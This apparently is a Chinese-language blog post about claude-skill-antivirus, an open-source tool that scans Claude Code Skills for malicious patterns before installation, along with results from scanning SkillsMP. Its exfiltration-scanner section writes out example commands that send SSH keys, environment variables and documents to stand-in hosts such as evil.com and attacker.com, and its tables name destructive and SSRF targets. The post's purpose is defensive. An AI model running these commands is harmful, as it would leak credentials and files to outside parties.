精選
Security Skills Open Source Tools
Claude Skill Antivirus:保護你的 Claude Code 工作流程
專為 Claude Code Skills 設計的安全掃描工具。在安裝第三方 Skills 前偵測惡意模式。我們掃描了 SkillsMP 上 71,577 個 Skills — 看看我們發現了什麼。
2026年1月19日 • 8 分鐘 • 作者:Claude World
第三方 Skills 可以擴展 Claude Code 的功能 — 但你怎麼知道它們是安全的?
我們打造了 claude-skill-antivirus 來回答這個問題。它在安裝前掃描 Skills 中的惡意模式,使用 9 個專門的安全引擎。
然後我們掃描了 SkillsMP 上所有 71,577 個 Skills。以下是我們的發現。
問題:Skill 的安全性
Claude Code 中的 Skills 可以:
- 執行 bash 指令
- 讀取和寫入檔案
- 發送網路請求
- 存取環境變數
- 啟動子代理(sub-agents)
惡意 Skill 可能會:
- 竊取 SSH 金鑰和憑證
- 將程式碼外洩到外部伺服器
- 安裝後門
- 存取雲端 metadata(AWS、GCP、Azure)
- 透過子代理進行鏈式攻擊
Claude Code 生態系需要一個安全防護層。
SkillsMP 掃描結果
我們掃描了 SkillsMP 平台上所有 71,577 個 Skills:
| 風險等級 | 數量 | 百分比 |
|---|---|---|
| 嚴重 (CRITICAL) | 91 | 0.13% |
| 高 (HIGH) | 626 | 0.87% |
| 中 (MEDIUM) | 1,310 | 1.83% |
| 安全 (SAFE) | 69,505 | 97.11% |
關鍵發現:約 3% 的 Skills 可能存在潛在風險。
嚴重風險分類
| 類別 | 數量 | 說明 |
|---|---|---|
| 密碼管理器存取 | 41 | 嘗試存取 1Password、Bitwarden、Dashlane |
| 網路 + Metadata 存取 | 31 | 網路工具與 metadata 存取的組合 |
| 瀏覽器憑證 | 7 | 存取瀏覽器密碼/cookies |
| 定時外洩 | 7 | 基於 cron 的資料外洩模式 |
| 仿冒套件名稱 | 2 | 可疑的套件名稱(釣魚) |
誤報考量
部分發現可能是合法的:
- 密碼管理器 skills(1password、bitwarden)可能是官方整合工具
- 瀏覽器自動化 skills 可能合法需要瀏覽器存取權
- API 整合 skills 可能觸發網路警告
務必在決定前手動審查被標記的 Skills。
9 大安全掃描引擎
1. 危險指令掃描器
偵測破壞性的 shell 指令:
| 風險 | 範例 |
|---|---|
| 嚴重 | rm -rf /、`curl |
| 高 | /etc/shadow 存取、reverse shell |
| 中 | rm -rf、權限變更 |
2. 資料外洩掃描器
偵測「讀取本機-傳送遠端」的模式:
cat ~/.ssh/id_rsa | base64 | curl -d @- https://evil.com
env | curl -X POST https://collector.io
tar czf - ~/Documents | nc attacker.com 8080
3. 權限掃描器
分析 allowed-tools 宣告:
- 嚴重:
Bash(*)- 無限制的 shell 存取 - 高:
Write、WebFetch組合 - 危險組合:
Read + WebFetch= 外洩風險
4. 外部連線掃描器
識別可疑的 URL:
- IP 直連 URL
- Webhook/資料擷取服務
- 可疑的 TLD(.tk、.ml)
- Discord/Telegram webhook
5. 模式掃描器
偵測:
- Prompt injection 攻擊
- 硬編碼的憑證
- 混淆程式碼(base64、hex)
- 社交工程語言
6. MCP 安全掃描器
驗證 MCP 伺服器設定:
- 不受信任的來源
- 危險的權限(filesystem + network)
- 暴露的憑證
7. SSRF 掃描器
偵測 Server-Side Request Forgery:
| 目標 | 範例 |
|---|---|
| 雲端 Metadata | 169.254.169.254、IMDSv2 繞過 |
| 內部網路 | 10.x.x.x、192.168.x.x 探測 |
| Kubernetes | Service account secrets、API 存取 |
| Docker | docker.sock 存取、容器逃逸 |
8. 相依性掃描器
偵測惡意套件:
- 已知惡意:event-stream、colors、faker
- 仿冒名稱:crossenv、lodash-、mongose
- 可疑的安裝腳本
9. 子代理掃描器
偵測 Task 工具濫用:
- 權限提升(啟動 Bash agent)
- Agent 鏈攻擊(巢狀 Task 呼叫)
- DoS 攻擊(無限遞迴)
使用方式
全域安裝
npm install -g claude-skill-antivirus
安裝前先掃描
# 僅掃描(建議的第一步)
skill-install ./path/to/skill --scan-only
# 安裝到專案層級(預設)
skill-install https://github.com/user/skill-repo
# 安裝到使用者層級
skill-install @skillsmp/example-skill --global
輸出範例
安全的 Skill:
===========================================
安全掃描報告
===========================================
風險等級: ✅ 安全
📊 發現摘要:
🟢 嚴重: 0
🟢 高: 0
🟢 中: 0
🟢 低: 0
ℹ️ 資訊: 2
✅ 建議: 可以安全安裝
偵測到惡意 Skill:
===========================================
安全掃描報告
===========================================
風險等級: ☠️ 嚴重
📊 發現摘要:
🔴 嚴重: 5
🟠 高: 3
🟡 中: 2
🔴 嚴重發現:
• [資料收集] 讀取敏感憑證檔案
• [資料外洩] curl 傳送指令輸出
...
❌ 建議: 請勿安裝
程式化 API
在你的工具中使用掃描器:
import { SecurityScanner, loadSkill } from 'claude-skill-antivirus';
const scanner = new SecurityScanner();
const skill = await loadSkill('./path/to/skill');
const findings = await scanner.scan(skill);
if (findings.critical.length > 0) {
console.error('Skill 包含嚴重安全風險!');
process.exit(1);
}
整合 CI/CD
將 Skill 掃描加入你的流程:
# .github/workflows/skill-check.yml
- name: 掃描 Skills
run: |
npx claude-skill-antivirus ./.claude/skills/* --scan-only
if [ $? -ne 0 ]; then
echo "安全掃描失敗!"
exit 1
fi
建議
給使用者
- 安裝前一定要掃描:
skill-install <source> --scan-only - 手動審查被標記的 Skills 再做決定
- 優先使用專案層級安裝 而非全域
- 盡量使用官方/已驗證的 Skills
給 Skill 作者
- 最小化權限 - 只請求你需要的
- 避免存取密碼管理器或瀏覽器憑證 的模式
- 清楚記錄外部連線
- 不要使用混淆程式碼
給平台
- 自動掃描 提交的 Skills
- 清楚的風險標示 在 Skill 市集中
- 驗證徽章 給已審查的 Skills
開源
claude-skill-antivirus 是 MIT 授權的開源專案。
- GitHub:github.com/claude-world/claude-skill-antivirus
- npm:
npm install -g claude-skill-antivirus - 完整掃描報告:SCAN-REPORT.md
貢獻
我們歡迎貢獻:
- 新的偵測模式
- 改善誤報
- 額外的掃描引擎
- 語言支援
安全是每個人的責任。安裝前先掃描。